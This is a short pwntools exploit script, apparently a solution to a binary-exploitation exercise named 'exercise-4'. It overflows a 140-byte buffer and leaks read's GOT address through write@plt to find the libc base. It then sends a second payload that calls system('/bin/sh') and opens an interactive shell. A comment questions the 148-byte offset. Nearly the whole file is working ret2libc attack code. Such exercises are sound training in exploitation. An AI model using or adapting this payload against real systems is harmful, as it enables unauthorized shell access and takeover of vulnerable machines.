from pwn import *
context(arch='i386', os='linux') # <-- Add the architecture and os
binary = ELF("exercise-4")
libc = ELF("libc.so.6")

write_plt = p32(binary.symbols["write"])
read_GOT = p32(binary.symbols["got.read"])
read_plt = p32(binary.symbols["read"])
bss_addr = p32(binary.symbols["__bss_start"])
pop_ret = "\x9d\x85\x04\x08"


r=process("./exercise-4")

"""
You can use these to test it as a server over localhost
r=remote("127.0.0.1",1337)


run this in a different terminal VVVV
socat tcp-listen:1337,fork,reuseaddr exec:"strace ./exercise-4"
"""
r.recvline()

exploit = "A"*140
exploit += write_plt +pop_ret +  p32(1)+ read_GOT + p32(4) 
exploit += p32(binary.symbols["main"])

r.sendline(exploit)
addr_read = int(r.recv(4)[::-1].encode("hex"),16)
r.recvline()
libc_base = addr_read - libc.symbols["read"]
system = p32(libc_base + libc.symbols["system"])
binsh = p32(libc_base +  libc.search("/bin/sh").next())
r.sendline("A"*148+ system + "RETN" + binsh + binsh) # <- 148?????? why 148?
r.interactive()
